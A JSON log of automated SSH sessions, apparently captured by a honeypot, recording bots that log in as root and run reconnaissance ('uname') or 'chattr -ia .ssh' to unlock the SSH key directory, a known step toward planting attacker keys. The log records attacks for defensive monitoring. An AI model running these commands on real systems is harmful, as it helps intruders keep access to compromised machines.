 {
  "id": "628ca7d4-f6de-4181-af81-59cee531170f",
  "name": "murky-jovial-caracal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 41156,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 391,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T01:58:01.281080+00:00",
  "ended_at": "2026-08-27T01:58:07.242001+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "504109e7-9e24-4cef-9567-44f7fb0bbe75",
  "name": "seaward-early-mongoose",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 60292,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 333,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T01:57:23.976855+00:00",
  "ended_at": "2026-08-27T01:57:27.233148+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "afeeac3c-a60d-4bef-9234-421cd5494019",
  "name": "tangled-cunning-kingfisher",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 46518,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 244,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T01:57:08.447577+00:00",
  "ended_at": "2026-08-27T01:57:13.139094+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "5f84b496-5c89-47c9-b585-87bbb34b6e9b",
  "name": "rugged-idle-chamois",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "118.194.228.101",
  "src_port": 42640,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 515,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T01:57:01.767425+00:00",
  "ended_at": "2026-08-27T01:57:02.861508+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2302
 },
 {
  "id": "c9ea8523-1e01-4868-8cd8-61bbb9fd01b1",
  "name": "marine-slender-thrush",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 42668,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T01:56:43.100549+00:00",
  "ended_at": "2026-08-27T01:56:44.761726+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "56cfaf7d-915c-4df2-b0d4-394ed5601021",
  "name": "plucky-fearless-owl",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 49864,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 291,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T01:56:30.813417+00:00",
  "ended_at": "2026-08-27T01:56:35.374470+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "fd1e41cd-b774-42fb-a766-6d10982a7878",
  "name": "sunlit-pristine-hare",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 52612,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 206,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T01:56:17.126799+00:00",
  "ended_at": "2026-08-27T01:56:22.960491+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "33f14580-a444-4a1c-a9eb-fff15cbdf9c0",
  "name": "pewter-polar-lark",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 52530,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 325,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T01:56:07.925056+00:00",
  "ended_at": "2026-08-27T01:56:12.238525+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "3155e34c-dcc6-4365-9702-2e1816bad2dc",
  "name": "cheerful-opal-anteater",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 44398,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 245,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T01:55:59.550641+00:00",
  "ended_at": "2026-08-27T01:56:02.358900+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "2c243e9d-47bc-4dd2-8889-72fb6ecc2b04",
  "name": "curious-vernal-rook",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 57318,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 277,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T01:55:36.074611+00:00",
  "ended_at": "2026-08-27T01:55:39.823611+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "54c12cae-eabf-4333-aeea-ed574492475c",
  "name": "weathered-sunlit-oryx",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 50492,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 465,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T01:55:19.294950+00:00",
  "ended_at": "2026-08-27T01:55:22.556210+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "55527ea5-40d2-4cc1-899b-4495bcd3597d",
  "name": "dapper-lively-wallaby",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 38556,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 527,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T01:54:26.960698+00:00",
  "ended_at": "2026-08-27T01:54:28.892268+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "57c22fa9-13dd-4b21-be1c-3c5cc593bb68",
  "name": "chilly-sandy-camel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 54448,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 597,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T01:54:15.645053+00:00",
  "ended_at": "2026-08-27T01:54:16.890112+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "356a6a67-8c68-4bfa-b5fa-41461eb0b655",
  "name": "gleaming-gloomy-hare",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 42822,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 1142,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T01:54:02.108771+00:00",
  "ended_at": "2026-08-27T01:54:03.429509+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "c2e72c45-346a-4967-8eb9-bce2ae647eb4",
  "name": "subtle-shaded-catbird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 45314,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 1054,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T01:53:57.369761+00:00",
  "ended_at": "2026-08-27T01:53:59.410491+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "1b650c3c-81cf-48b1-ae8f-e1d1b458c2de",
  "name": "lively-lanky-kea",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 58006,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T01:53:04.990629+00:00",
  "ended_at": "2026-08-27T01:53:17.304756+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "cc4d1fdb-55f3-45dc-9a61-6b169720d687",
  "name": "shifting-curious-teal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 55928,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 2361,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T01:53:00.068929+00:00",
  "ended_at": "2026-08-27T01:53:17.302168+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1665
 },
 {
  "id": "4f485ef2-396b-4b57-9d62-9f877e6b398a",
  "name": "brazen-cosmic-puffin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 55878,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T01:52:18.490019+00:00",
  "ended_at": "2026-08-27T01:52:20.605121+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "568ea593-d882-405c-b436-c263036b1151",
  "name": "nimble-thorny-curlew",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 40692,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T01:25:50.305118+00:00",
  "ended_at": "2026-08-27T01:25:52.054802+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "834879d1-8c8c-4875-98be-c908d673c871",
  "name": "gloomy-bitter-weasel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "118.194.228.101",
  "src_port": 58396,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T01:25:43.297679+00:00",
  "ended_at": "2026-08-27T01:25:45.488686+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 65
 },
 {
  "id": "66d7fd29-009f-483e-9c71-fd43eb389e87",
  "name": "fierce-glacial-falcon",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "118.194.228.101",
  "src_port": 33574,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 567,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T01:23:09.177870+00:00",
  "ended_at": "2026-08-27T01:23:10.500250+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "c42b8575-fc39-4b20-91b6-87312935acb3",
  "name": "ginger-supple-toucan",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 54640,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T01:22:47.880518+00:00",
  "ended_at": "2026-08-27T01:22:49.903226+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "bfcb867e-cf3f-4e83-b971-4cb292be2b4a",
  "name": "grassy-snowy-wallaby",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "118.194.228.101",
  "src_port": 36980,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 520,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T01:19:50.901302+00:00",
  "ended_at": "2026-08-27T01:19:52.508860+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "2349bf23-1229-4bb7-891f-e00c0d75c479",
  "name": "woven-feral-egret",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 36992,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T01:19:31.045169+00:00",
  "ended_at": "2026-08-27T01:19:32.915949+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7f8a683d-c998-4bfb-8289-f4c8d89b5f48",
  "name": "emerald-dutiful-gecko",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.29",
  "src_port": 22252,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T01:03:48.768404+00:00",
  "ended_at": "2026-08-27T01:03:50.419989+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8bb1840d-1c97-4d2c-b932-11905850fd71",
  "name": "windswept-civil-francolin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "118.194.228.101",
  "src_port": 43432,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 555,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T00:58:29.699246+00:00",
  "ended_at": "2026-08-27T00:58:31.016165+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2247
 },
 {
  "id": "029098bd-0b3d-4b1a-82c0-7cc49eadaedd",
  "name": "thrifty-daring-okapi",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 43460,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T00:58:10.574727+00:00",
  "ended_at": "2026-08-27T00:58:12.399043+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "9c9204b5-b416-4d6d-b3d1-eccace0e90c5",
  "name": "boreal-serene-lynx",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "118.194.228.101",
  "src_port": 45992,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 544,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T00:55:24.223136+00:00",
  "ended_at": "2026-08-27T00:55:25.280584+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2238
 },
 {
  "id": "b378f839-feba-4f89-bf82-2d679558f6a6",
  "name": "mindful-fierce-firefly",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 52606,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T00:55:04.786076+00:00",
  "ended_at": "2026-08-27T00:55:06.183159+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "2ef49375-1827-4419-971a-07984cb2a427",
  "name": "quartz-crimson-whimbrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "118.194.228.101",
  "src_port": 57234,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 535,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T00:42:56.877146+00:00",
  "ended_at": "2026-08-27T00:42:57.957604+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2194
 },
 {
  "id": "8aec264d-7bf5-4ea9-8648-091936fcc903",
  "name": "bashful-rambling-fieldfare",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 57252,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T00:42:38.443481+00:00",
  "ended_at": "2026-08-27T00:42:39.338062+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c9ef5156-8586-4eae-9c3d-5a91117b00e8",
  "name": "forlorn-quiet-impala",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "97.74.87.152",
  "src_port": 33282,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 742,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T00:38:36.484406+00:00",
  "ended_at": "2026-08-27T00:38:37.325893+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2095
 },
 {
  "id": "d0ab1882-ab8c-4289-bd31-fd34077b708a",
  "name": "merry-canny-gharial",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "97.74.87.152",
  "src_port": 33302,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T00:38:21.568023+00:00",
  "ended_at": "2026-08-27T00:38:23.377240+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1d3ba961-9947-47ed-8fd6-6400b59e5ee3",
  "name": "solar-rapid-bison",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "118.194.228.101",
  "src_port": 56892,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 522,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T00:33:42.846708+00:00",
  "ended_at": "2026-08-27T00:33:44.173413+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2161
 },
 {
  "id": "ac35acf3-f282-4ce2-a6c7-e4db05170401",
  "name": "rugged-ruddy-jerboa",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 58612,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T00:33:22.682424+00:00",
  "ended_at": "2026-08-27T00:33:23.644542+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b6208ed3-6316-446d-9834-3837e3d83399",
  "name": "nautical-graceful-chinchilla",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "118.194.228.101",
  "src_port": 58962,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 515,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T00:30:43.803559+00:00",
  "ended_at": "2026-08-27T00:30:45.265857+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2150
 },
 {
  "id": "721da897-7b77-40f5-839e-f7de8f723396",
  "name": "early-wry-marten",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 48606,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T00:30:24.161304+00:00",
  "ended_at": "2026-08-27T00:30:25.803896+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "5edb1ccb-d4dc-4fe7-b301-528eb53018b3",
  "name": "frank-dappled-cougar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "118.194.228.101",
  "src_port": 50422,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 581,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T00:21:10.422459+00:00",
  "ended_at": "2026-08-27T00:21:11.831471+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2117
 },
 {
  "id": "98cc077b-9302-47a3-8cbc-076b40de366f",
  "name": "dutiful-rustic-mink",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 50444,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T00:20:53.613556+00:00",
  "ended_at": "2026-08-27T00:20:55.346818+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d8569d23-7d3d-4484-a143-bef4fc61640a",
  "name": "jaunty-northern-boar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "118.194.228.101",
  "src_port": 34414,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 548,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T00:14:46.269218+00:00",
  "ended_at": "2026-08-27T00:14:47.160675+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2095
 },
 {
  "id": "f67e105a-21cc-4d10-a910-daa44fe61e3b",
  "name": "jaunty-hazy-heron",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 46398,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T00:14:34.848353+00:00",
  "ended_at": "2026-08-27T00:14:36.185944+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "fe15e3b3-355d-4a8f-8d82-5ca3f6f24244",
  "name": "prairie-humble-dingo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "101.96.209.234",
  "src_port": 44672,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T00:10:36.644376+00:00",
  "ended_at": "2026-08-27T00:14:36.902006+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 65
 },
 {
  "id": "007dc0bc-d9a2-4a1d-b7d6-a3ce2657a624",
  "name": "rugged-russet-peccary",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "101.96.209.234",
  "src_port": 34384,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T00:01:03.153925+00:00",
  "ended_at": "2026-08-27T00:05:03.178147+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 65
 },
 {
  "id": "a4f7eb82-d5f2-4df6-b081-70bc955a502b",
  "name": "hazy-western-nightjar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "101.96.209.234",
  "src_port": 44512,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T23:57:54.694285+00:00",
  "ended_at": "2026-08-27T00:01:54.952118+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 65
 },
 {
  "id": "604a671d-72e6-412d-ae67-1f2ed7509268",
  "name": "subtle-breezy-albatross",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "101.96.209.234",
  "src_port": 35642,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T23:48:42.937531+00:00",
  "ended_at": "2026-08-26T23:52:43.212571+00:00",
  "ended_reason": "connection lost",
  "commands": 2,
  "transcript_bytes": 522
 },
 {
  "id": "f1ef5ea4-4273-43ec-9f72-2767d18da40f",
  "name": "russet-mossy-tapir",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "101.96.209.234",
  "src_port": 51944,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T23:32:19.014687+00:00",
  "ended_at": "2026-08-26T23:36:19.278485+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 65
 },
 {
  "id": "0df9cb7a-b7a2-414c-8587-31e8d3d41342",
  "name": "painted-humble-anteater",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "101.96.209.234",
  "src_port": 54354,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T23:23:24.366359+00:00",
  "ended_at": "2026-08-26T23:23:25.158960+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7d5e5dab-7599-4b33-8119-376036dc995d",
  "name": "granite-thorny-peccary",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "101.96.209.234",
  "src_port": 56528,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T23:22:58.815150+00:00",
  "ended_at": "2026-08-26T23:26:58.828369+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 65
 },
 {
  "id": "efedb818-db76-43d4-93d0-a5e6ab791bf6",
  "name": "sooty-brave-bullfinch",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "101.96.209.234",
  "src_port": 44990,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T23:16:41.815702+00:00",
  "ended_at": "2026-08-26T23:20:42.083199+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "942a9855-ff9d-45cc-842c-d369104b984b",
  "name": "sturdy-zealous-tinamou",
  "protocol": "ssh",
  "channel_kind": null,
